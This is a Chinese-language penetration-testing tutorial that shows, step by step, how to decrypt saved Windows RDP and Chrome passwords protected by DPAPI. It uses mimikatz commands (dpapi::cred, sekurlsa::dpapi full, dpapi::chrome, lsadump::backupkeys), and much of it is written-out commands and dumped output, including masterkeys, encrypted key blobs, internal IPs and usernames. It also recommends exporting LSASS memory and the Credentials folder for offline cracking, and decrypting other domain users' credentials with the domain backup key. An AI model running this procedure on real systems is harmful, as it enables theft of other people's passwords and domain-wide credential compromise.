0x00 概述
在使用 rdp 时会发现系统有保存连接密码的功能,一定在本地以一种加密方式保存,在连接的时候解密进行rdp尝试,那么我们能不能那到加密的密码解密以获取这台机器rdp连接过的机器呢?
0x01 流程
“AppData\Local\Microsoft\Credentials\XXX” -->> GUID(guidMasterKey) -->> 通过 sekurlsa::dpapi 对比GUID拿到Masterkey -->> mimikatz 通过 “AppData\Local\Microsoft\Credentials\XXX” 和 masterkey 解密秘钥。
0x02 方法
首先使用cmdkey /list来查看是否有保存的凭据密码信息。可以保存rdp凭据,ssh凭据等连接凭据。
如果没有:
有些环境可能有很多的凭据信息:
例如:
当前保存的凭据:
目标: Domain:target=TERMSRV/192.168.100.52
类型: 域密码
用户: admin
本地机器持续时间
目标: LegacyGeneric:target=Adobe User Info(Part2)
类型: 普通
用户: User DT
本地机器持续时间
目标: LegacyGeneric:target=TERMSRV/172.16.1.246
类型: 普通
用户: administrator
本地机器持续时间
目标: Domain:target=TERMSRV/192.168.100.42
类型: 域密码
用户: admin
本地机器持续时间
目标: LegacyGeneric:target=TERMSRV/10.10.40.53
类型: 普通
用户: lmrsec\tony
本地机器持续时间
目标: LegacyGeneric:target=Adobe User Info(Part1)
类型: 普通
用户: User DT
本地机器持续时间
目标: LegacyGeneric:target=TERMSRV/192.168.100.45
类型: 普通
用户: administrator
本地机器持续时间
目标: LegacyGeneric:target=Adobe User OS Info(Part1)
类型: 普通
用户: User OS Info
本地机器持续时间
目标: LegacyGeneric:target=TERMSRV/172.16.1.134
类型: 普通
用户: administrator
本地机器持续时间
目标: LegacyGeneric:target=TERMSRV/192.168.100.46
类型: 普通
用户: administrator
本地机器持续时间
目标: LegacyGeneric:target=TERMSRV/10.10.40.54
类型: 普通
用户: LMRSEC\lmr
本地机器持续时间
目标: LegacyGeneric:target=TERMSRV/172.16.1.124
类型: 普通
用户: administrator
本地机器持续时间
目标: LegacyGeneric:target=TERMSRV/10.10.20.123
类型: 普通
用户: pc
本地机器持续时间
目标: LegacyGeneric:target=TERMSRV/10.10.40.100
类型: 普通
用户: lmrsec\tony
本地机器持续时间
目标: LegacyGeneric:target=TERMSRV/10.10.40.55
类型: 普通
用户: LMRSEC\tony
本地机器持续时间
目标: LegacyGeneric:target=TERMSRV/10.10.40.62
类型: 普通
用户: MEC0\administrator
本地机器持续时间
目标: Domain:target=192.168.1.94
类型: 域密码
用户: LEE-PC\admin
目标: Domain:target=10.0.0.152
类型: 域密码
用户: LEE-PC\administrator
目标: LegacyGeneric:target=chia-user-chia-1.8
类型: 普通
用户: wallet-user-chia-1.8-0
目标: Domain:target=PIG
类型: 域密码
用户: LEE-PC\admin
使用命令:dir /a %userprofile%\AppData\Local\Microsoft\Credentials 来查看保存凭据的目录和凭据的值
接下来就一个一个实验吧,因为这个下面是凭据的值,不一定哪一个是你要的,需要写工具批量查喽。
例如:
mimikatz "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D" exit >a.txt
mimikatz(commandline) # dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {fe6b8194-8763-4328-a189-23815ffc11bc}
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 00000012 - 18
szDescription : 本地凭据数据
algCrypt : 00006603 - 26115 (CALG_3DES)
dwAlgCryptLen : 000000c0 - 192
dwSaltLen : 00000010 - 16
pbSalt : 67ac51d78138d3bb51ed1c07b1bc17a7
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 00008004 - 32772 (CALG_SHA1)
dwAlgHashLen : 000000a0 - 160
dwHmac2KeyLen : 00000010 - 16
pbHmack2Key : 8f18a25d233beb6c1fb8985285fc14d7
dwDataLen : 00002a10 - 10768
pbData : f8499588628921158b20b343b3f887ece87192f1a6f0d00fd223f1b001fa55c6feeb......
记住 guidMasterKey {fe6b8194-8763-4328-a189-23815ffc11bc}
mimikatz "privilege::debug" "sekurlsa::dpapi full" exit>b.txt
在b.txt中找 {fe6b8194-8763-4328-a189-23815ffc11bc} 对应的MasterKey
Authentication Id : 0 ; 568702 (00000000:0008ad7e)
Session : Interactive from 1
User Name : administrator
Domain : LMRSEC
Logon Server : AD
Logon Time : 2022/9/22 14:14:42
SID : S-1-5-21-4175578073-168413485-1140492047-500
[00000000]
* GUID : {ef3e71aa-6279-4999-9c2d-cbb67f71eb3f}
* Time : 2022/9/22 14:16:03
* MasterKey : 6a58ad5cfa0d10fb3fd8ea9647eace29481338b7bc23c6d485780be9a136276840e601be86c6d84586948f93d83bf4bc7c2063a51f74b91afd1c2b3eb1d28cf6
* sha1(key) : e500f8e3977bac36b4eb56ebea93d222bd1e748c
[00000001]
* GUID : {fe6b8194-8763-4328-a189-23815ffc11bc}
* Time : 2022/9/22 14:15:05
* MasterKey : 57571066d0752738bebc51550a89ac801db0729abd0aa61f0945262e6b4d279445b08e2023ea1a2b1d357594f7838d02b76250a456f9d9e59af4b3ba659352c0
* sha1(key) : eb92f311be6e846c0ae0241a332dd28415048e0a
[00000002]
* GUID : {17a3b3a5-41f6-4809-adb4-20f255db4e2b}
* Time : 2022/9/22 14:16:51
* MasterKey : eacdf11ecd0a819bc619e378292a873d994313be95d8aa9bab5924df98f389d93274c2fc9f532afcfc0dca7b19e1d70aca65887a2e26ac1983f45dd555345825
* sha1(key) : 7c09ddedde899693c19e66b1e8b918beb42bb15f
mimikatz 读取密码: mimikatz "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D /masterkey:57571066d0752738bebc51550a89ac801db0729abd0aa61f0945262e6b4d279445b08e2023ea1a2b1d357594f7838d02b76250a456f9d9e59af4b3ba659352c0" exit>c.txt
UserName就是账户,CredentialBlob 字段值是解密后的密码,如果是空,就尝试 Credentials 目录下其他凭据的值。(毕竟渗透也是个苦力活...)
Decrypting Credential:
* masterkey : 57571066d0752738bebc51550a89ac801db0729abd0aa61f0945262e6b4d279445b08e2023ea1a2b1d357594f7838d02b76250a456f9d9e59af4b3ba659352c0
**CREDENTIAL**
credFlags : 00000030 - 48
credSize : 00002a0e - 10766
credUnk0 : 00000000 - 0
Type : 00000001 - 1 - generic
Flags : 00000000 - 0
LastWritten : 2022/7/10 13:00:32
unkFlagsOrSize : 00000000 - 0
Persist : 00000002 - 2 - local_machine
AttributeCount : 00000020 - 32
unk0 : 00000000 - 0
unk1 : 00000000 - 0
TargetName : WindowsLive:target=virtualapp/didlogical
UnkData : (null)
Comment : PersistedCredential
TargetAlias : (null)
UserName : 02qfntekitrt
CredentialBlob :
Attributes : 32
**ATTRIBUTE**
Flags : 00000000 - 0
Keyword : Microsoft_WindowsLive:authstate:0
Value : 01 00 00 00 d0 8c 9d df 01 15 d1 11 8c......
实际渗透中可以将 Credentials目录和 lsass.exe 的内存文件保存到本地。
我一般会优先破解近期访问的连接。 例如,2022/09/22 13:41 这个近期的连接,我们尝试破解一下:
mimikatz "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\BDB00E0494A9448757D06512E460C336" exit|findstr guidMasterKey" exit
从刚刚导出的 sekurlsa::dpapi 查找 GUID 对应的 MasterKey:
mimikatz "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\BDB00E0494A9448757D06512E460C336 /masterkey:5823ca8c268bb7b96a52c3cf21e3d47c453be443e1ed8acbeee4813785c030f9bb765447c6c4e8e735726871c57b5d361bcfa1507cedc0a11850995ab199843a" exit
进一步的,想知道windows保存了哪些凭据,那些没保存,使用命令:
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
如果没保存密码,结果如下:
如果保存了,如下:
导出windows密码技巧总结_渗透测试中心的博客-CSDN博客
0x03 破解浏览器凭据
其他凭据,如web浏览器凭据:
dir /a "%userprofile%\AppData\Local\Google\Chrome\User Data\Default\Login Data"
都是用 dpapi 加密的。
解密本地浏览器凭据:
mimikatz "dpapi::chrome /in:\"C:\Users\lmr\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /unprotect
chrome 80以前是直接可以通过dpapi去解密的,80以后变成AES了,所以需要指定一下/encryptedkey参数,这个参数内容是在Chrome/User Data/Local State这个文件里,这是个json文件,搜里面的encrypted_key,这个参数就是加密的密钥,指定之后就可以成功解密保存的密码了
mimikatz "dpapi::chrome /in:\"C:\Users\lmr\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /unprotect /encryptedkey:RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAcNoSWcBg/SJyGPdAHkODAAAAAAAIAAAAAAANmAADAAAAAEAAAAA7YX8gUf3+tiMFkL6W6I1gAAAAABIAAAKAAAAAQAAAALPfk2cUfKSaXWrBO+q1sTSgAAACTT3f5PFH6LsG0F+KFyPyYjzVwPar8ePO2I/Tgi3/SVNyx+XxlXi8eFAAAAC6DyST9L+EPyq4tGdXLOARW0dvW" exit
如果你不满足于只接触当前lmr用户的浏览器凭据,也想拿域内其他机器的浏览器凭据,那么要满足几个条件:管理员权限,拿到2个文件 Local State + Login Data + masterkey
例如lmr用户想crack tony用户的浏览器凭据,需要拿到tony用户下的 Local State 和 Login Data 文件,分别在 "%localappdata%\Google\Chrome\User Data\Local State" 和 "%localappdata%\Google\Chrome\User Data\Default\Login Data"目录。
具体操作如下:
mimikatz "dpapi::chrome /in:\"C:\Users\tony\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /unprotect /encryptedkey:RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAC7lwjlTgo8QYn9FA3Kr2gUAAAAAAIAAAAAAANmAADAAAAAEAAAAJwtvYN1SduvSThcd3jUU0cAAAAABIAAAKAAAAAQAAAAPaGDdYmChJdd5jkm9jGWWygAAAAdSUuaJEX85zORzq8BP8RM4sePvSFV6MRGokcE0hJwlMioFLmziL+BFAAAAICv4ae9Ic5C3tzsAMyc5ntLd/l+" exit
会提示去GUID找masterkey,GUID的生成导出上文已经介绍过了,具体命令是:
mimikatz "privilege::debug" "sekurlsa::dpapi full" exit>b.txt
找到 GUID: {e50897bb-0a4e-413c-89fd-140dcaaf6814} 对应的masterkey:
再次crack:
mimikatz "dpapi::chrome /in:\"C:\Users\tony\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /unprotect /encryptedkey:RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAC7lwjlTgo8QYn9FA3Kr2gUAAAAAAIAAAAAAANmAADAAAAAEAAAAJwtvYN1SduvSThcd3jUU0cAAAAABIAAAKAAAAAQAAAAPaGDdYmChJdd5jkm9jGWWygAAAAdSUuaJEX85zORzq8BP8RM4sePvSFV6MRGokcE0hJwlMioFLmziL+BFAAAAICv4ae9Ic5C3tzsAMyc5ntLd/l+ /masterkey:4faab22310c7db06402aca7b8aef779dc67549da6c0aeb9ca0ffd052b1e58740b650ac4931551ba1aed78f11784735ac06d6989dbb33e297cab6294e9502479a" exit
0x04 域内获取masterkey的其他思路
使用域备份密钥解密受害主机的主密钥
需要三步:
1. 导出域控pvk文件
mimikatz.exe "lsadump::backupkeys /system:AD /export" exit
** /system: 后面填写域控机器名,否则会找不到DC,报错,例如:
微软的那个错误代码搜索源码错误位置:
2.通过pvk得到GUID的masterkey (需要什么GUID就用谁的GUID去导出)
mimikatz.exe "dpapi::masterkey /in:C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-4175578073-168413485-1140492047-500\8bb03b74-9c66-4a30-852c-b45d3c99bb79 /pvk:ntds_capi_0_9876a14a-13b0-49a3-b2c1-466e7432ea02.keyx.rsa.pvk" exit >a.txt
在导出文件最后的key字段里:
3.同上文0x03,使用mimikatz 破解rdp或浏览器凭据。
0x05 后记
试着导出了自己笔记本的浏览器凭据,竟然有50KB之多,可见自己之前的上网习惯是不太好的。
导出的文件一共1731行,前392行是含有凭据信息的,后面的保存了访问过的需要凭证的网站信息。
0x06 reference
https://www.coresecurity.com/core-labs/articles/reading-dpapi-encrypted-keys-mimikatz